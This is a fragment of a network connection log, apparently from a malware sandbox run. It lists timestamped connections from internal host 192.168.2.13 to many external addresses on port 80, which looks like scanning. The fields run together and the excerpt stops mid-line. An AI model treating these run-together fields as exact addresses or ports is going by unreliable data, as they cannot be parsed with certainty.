                                                  Feb 4, 2025 18:08:35.988454103 CET4604780192.168.2.13176.18.181.122
                                                  Feb 4, 2025 18:08:35.988456011 CET4604780192.168.2.13155.210.23.95
                                                  Feb 4, 2025 18:08:35.988460064 CET4604780192.168.2.1336.208.247.177
                                                  Feb 4, 2025 18:08:35.988460064 CET4604780192.168.2.13112.107.143.220
                                                  Feb 4, 2025 18:08:35.988464117 CET4604780192.168.2.13140.61.170.76
                                                  Feb 4, 2025 18:08:35.988465071 CET4604780192.168.2.1383.78.234.185
                                                  Feb 4, 2025 18:08:35.988471031 CET4604780192.168.2.13146.203.228.40
                                                  Feb 4, 2025 18:08:35.988480091 CET4604780192.168.2.13151.207.89.24
                                                  Feb 4, 2025 18:08:35.988481998 CET4604780192.168.2.1314.160.230.74
                                                  Feb